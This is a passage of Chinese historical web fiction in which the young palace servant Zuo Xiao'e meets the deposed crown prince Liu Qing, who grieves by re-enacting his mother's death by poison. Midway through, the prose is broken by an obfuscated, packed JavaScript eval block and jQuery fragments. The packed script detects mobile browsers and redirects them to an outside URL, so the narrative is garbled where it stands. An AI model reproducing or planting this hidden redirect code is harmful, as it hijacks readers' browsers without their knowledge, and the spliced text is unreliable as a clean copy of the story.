左小娥今年才不到五岁，可是，已经在掖庭宫整整两年了。


    天还没有亮，整片天空都是鸭蛋壳似的淡青色，几抹长长的铅灰色的云横亘在东边的山头，安安静静的，好像是画上去的一样。


    前天刚刚下过场雨，这会儿地面半干，踩上去软绵绵的很舒服。


    她趁着其他人都还没有醒，从爬满了细绿苕藤的夯土墙面底下，一个小小的洞里钻进了“暴室”——一处极其荒僻的小院子，和她的“小伙伴”开始打招呼。


    “茜奴今天又长了一片叶子诶！”


    “茸茸打花苞啦！”


    “阿茂太坏了，哎呀，弄湿衣裳要挨阿姊骂的！”一阵轻风拂过，吹得近傍那棵高大的木瓜树哗哗响，叶尖儿上过夜的露水星星点点抖落了女娃娃一身，她嘻嘻笑着抱怨。


    这棵木瓜树已愈百岁，比北宫的年纪还大，时逢仲夏，枝头已经挂满了孩儿拳头大小的青果，绿油油沉甸甸一片。


    树下生着成片成片的白蒿，杂着几株正开蓝花的堇草，墙根处那棵繁盛的苕藤爬满了大半面蜃涂的白墙，又攀上了乌漆斑驳的窗棂，细绿的枝条从屋檐筒瓦上一路垂下，绽了数朵艳丽夺目的橘金色苕花。


    整个院落，荒芜中，透出一股异样生机勃勃的繁盛。在小孩子眼中，实在是最有趣不过的地方了。


    小娥给这儿的每一棵树、每一株花、每根儿杂草都取了名字，每天都要趁着天亮前，来这儿和它们玩闹一阵子。


    掖庭宫里没有同龄的小孩子，这些花花草草，就是她的玩伴。而这处荒芜冷落的小院子，是她一个人独享的乐土。


    她和它们玩得太沉浸，丝毫没有听到身后一点点接近，刻意放轻了动静、鬼鬼祟祟的脚步声。


    “啊！……唔，唔唔！”


    猝不及防地，她被人从身后捂紧了嘴，又箍牢了肩，死死挟制住。


    她又惊又疼，慌得扭着身子死命挣扎，奈何力气实在太小，半点儿不济事。


    “别挣！也别出声，否则我掐死你！”


    那匪徒的声音还很稚嫩，听起来也是个孩子，可却透着一股子阴郁骇人的戾气。


    “嗯。”


    她闷声点头——他估计也是头回干这种事，没有经验，连她的鼻子一起捂住了，不一会儿工夫，她已经憋得有些头昏眼花，快喘不上气来了。


    她，原本就很容易胸闷气短的。


    那匪徒犹豫了一下，终于缓缓松开了一点儿，在她耳边低声威胁：“帮我进屋偷件东西，拿到便放过你。否则——”


    “嗯。”她连忙嗡着声点头。


    那人终于松开了手，她被蓦地放开，弯着腰猛咳了几下，而后大口大口喘着气，身子软软晃了晃，险些在原地打了个趔趄，堪堪稳住。


    好一会儿，她两颊憋出的红晕才褪下去，眩晕感渐渐消失，也终于看清了眼前这匪徒的模样——


    是个比她只大一点点的孩子，穿着青绫的直裾袍，头上扎了同色的青绫总角，胖嘟嘟，白嫩嫩，像春天惊蛰过后，刚刚从籽壳里钻出来的花芽……眼睛也长得好看极了。


    唔，如果没这么凶的话，算是她见过的最好看的小孩子了。


    依她家阿姊的话，小娥一向有点儿缺心眼，这会儿，渐渐平静下来后，竟不怎么怕他了。


    “呶，从那儿钻进去，把漆几上的那只耳杯偷出来。”


    匪徒见她总算站稳了，趾高气扬地指了指那扇爬满的苕藤的糊绮横格窗，指使道。


    ——那窗子有点儿高，又无处借力，只有她这样瘦小细弱的小孩子攀着藤蔓才上得去。


    比起同龄的小孩子，她瘦得有些过分，肤色也是有些病态的苍白，甚至因为刚才一小会儿的呼吸不畅，就憋得唇角青紫，半天褪不下云。


    整个人，仿佛一株常年不见光，茎叶褪色泛白的细弱幼草。


    小娥点了下头，很听话地走到了窗下。她仿佛商量什么似的，和沿墙攀蔓的苕藤低低私语了几句什么，这才抓着细韧的藤蔓，踩着堇涂的墙壁手脚并用往上爬……半刻钟后，手上抓着件儿东西，猫着腰从窗户里又爬了出来。


    ——那是一只两寸来高，四瓣纹的漆耳杯。


    她这厢一手还抓着藤蔓，还没落了地，那厢的匪徒便毫不客气地把那耳杯夺了过去，急切得仿佛终于到手了什么稀世宝贝似的。


    然后，他低着头，仿佛在慎重地挑地方，来来回回踩了半天点儿，才终于站定，既而，背对着她，缓缓仰头，举着那只空杯子做了个饮酒的动作。


    然后，刚刚落地站稳的小娥，就被眼前的景象惊呆了——


    他“饮过酒”之后，就静静立在那儿，不一会儿，身子开始立不稳似的摇摇晃晃往下倒，“扑”地一下躺在了地上，接着，四肢极为痛苦地开始扭曲，五指痉挛地蜷在了一起，甚至面容都渐渐抽搐起来，愈来愈狰狞……好一会儿，彻底不动了。


    他、他怎么了？


    ——那，明明是只空杯子，里头一滴水都无的空杯子啊！


    小娥被吓得愣在了原地，好一会儿，才敢试探着悄悄走过去，在那匪徒身边蹲了下来，伸出手去抓住他胳膊，轻轻晃了晃。


    “怎么回事？”


    他霍地睁开了眼，看到她后蓦然皱紧了眉，气呼呼地嚷道：“……怎么是你？！我家阿母呢？！！！”


    “我、我家阿母在哪里？！”


    下一刻，他怒气更涨，声音高得有些尖锐。


    小娥被吓得不知所以，小声说：“这、这里，原本就没有别的人呀！”


    “你骗我！傅母明明说过，阿母她去了天上，我那天躲在草丛里——呶，就是那片草丛，亲眼看见她就是这么去的！明明就是现在这个地方，这只杯子，这个样子……”


    “可是，这里真的没有、没有——”


    她说不下去了，因为那匪徒眼睛渐渐发红，蓦地涌出了泪水，因为还躺在地下，那眼泪顺着眼角横淌了下来，很快就落在泥褐色的地面，洇湿了小小的一团。


    他猛地又闭上了通红的泪眼，仿佛一只垂死挣扎的困兽，嘴里喃喃道：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097253|178554||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “只要和那天阿母去的法子一样，肯定能寻到她的……我、我一定是哪里学得不像……”


    说着，他胡乱挣扎着站了起来，又一把抓起了地上的那只漆耳杯，而后慎重地确认了一遍地点，这才终于再次原地站定。


    接着，像刚才一样，开始那场古怪的“仪式”:缓缓仰头，举着那只空杯子做了个饮酒的动作。“饮过酒”之后，就静静立在那儿，不一会儿，身子开始立不稳似的摇摇晃晃往下倒，“扑”地一下躺在了地上，接着，四肢极为痛苦地开始扭曲，五指痉挛地蜷在了一起，甚至面容都渐渐抽搐起来，愈来愈狰狞……


    这回他显然更加虔诚，挣扎和抽搐都更加投入，以至于乳牙磨出咯咯的瘆人微响，嗓音里带出了一点属于小孩子的稚嫩的哭音。


    他闭眼的时间也比上次更久，再睁开眼，看到她时，瞳孔蓦地一缩，就这样呆呆滞了半晌，不言不动，仿佛一具真正的死尸。


    他终于不复刚才的狂躁。


    那双眸子里所有的光渐渐暗了下去，涌上了深得看不到底的绝望，就这样尸首一样静静躺在原地一动不动。不知过了多久，他双手捂上自己的脸，泪水决堤一样汹涌而出，喉咙里发出呜呜的哽咽声……


    像，像一只终于确知自己永远失去了母亲的幼兽。


    小娥不知所措，只好呆呆蹲在一旁看着他哭。


    ……他、他怎么这么爱哭呀，她蹲了好久，腿都麻了，他也一直一直哭不完。


    原本蛋壳青色的天空，近山处已经晕开了一抹抹淡淡的暗粉的云，那云越来越亮，渐渐亮成了橘粉。山头铅灰色的云翳已经淡成了铅白色，整片天向西渐白渐青，中天依旧是清透的琉璃青。


    他的哭声终于息了下去，呜咽也渐渐止了。


    “我家阿母、还有阿父、叔父，阿兄……也都去天上了。”


    四周静静的，小娥开了口，声音稚气：“不过，阿姊告诉我，现在是寻不到他们的。”


    “呃？”


    地上的孩子把手拿开，露出一双高肿着的通红的眼睛，渴求又敏锐地盯着她：“那，那要怎样才寻得到？”


    小娥不假思索：“要等到很久很久以后，我们都成了白头发的老翁老媪，才寻得到呢。”


    “……哦，是、是这样啊。”


    他用袖子抹了抹满脸的泪，终于不哭了。


    建初七年的季夏，左小娥第一次见到清河王刘庆，或者说，废太子。


    章和二年二月三十，章帝刘炟崩于章德前殿。


    太子刘肇承位，年十岁，太后窦氏临朝摄政。


    初夏的夜，半轮月色澄莹皎洁，比琉璃青略深的天穹间，淡抹的云是介于雾白和铅灰之间的颜色，透着枝杪看天，有一种特别的空灵安静。


    十一岁的刘庆懒洋洋躺在木瓜树一根粗大的树叉上，摘了枚幼圆的叶子，衔到嘴边，嘬了唇开始吹曲子，《君子阳阳》欢快的调子一响起来，便惊飞了枝头的几只灰雀，引得树下的人有些意外地问——


    “殿下今日这么高兴？”